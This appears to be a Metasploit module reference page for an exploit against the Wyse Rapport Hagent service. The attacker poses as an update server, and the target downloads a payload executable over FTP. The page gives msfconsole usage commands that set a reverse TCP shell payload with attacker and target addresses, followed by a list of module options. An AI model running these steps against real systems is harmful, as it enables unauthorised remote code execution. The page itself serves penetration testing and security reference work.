Wyse Rapport Hagent Fake Hserver Command Execution | Metasploit Exploit Database (DB)

Wyse Rapport Hagent Fake Hserver Command Execution

This module exploits the Wyse Rapport Hagent service by pretending to be a legitimate server. This process involves starting both HTTP and FTP services on the attacker side, then contacting the Hagent service of the target and indicating that an update is available. The target will then download the payload wrapped in an executable from the FTP service.

Search Other Modules


Exploit Rank

  • Excellent

Exploit Authors

  • kf < kf_list [at] digitalmunition.com >

Vulnerability References


Exploit Targets

  • 0 - Windows XPe x86 (default)
  • 1 - Wyse Linux x86

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/wyse/hagent_untrusted_hsdata
msf exploit(hagent_untrusted_hsdata) > show payloads
msf exploit(hagent_untrusted_hsdata) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(hagent_untrusted_hsdata) > set LHOST [MY IP ADDRESS]
msf exploit(hagent_untrusted_hsdata) > set RHOST [TARGET IP]
msf exploit(hagent_untrusted_hsdata) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 80)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to use for the FTP server (default: 21)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
Proxies Use a proxy chain
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)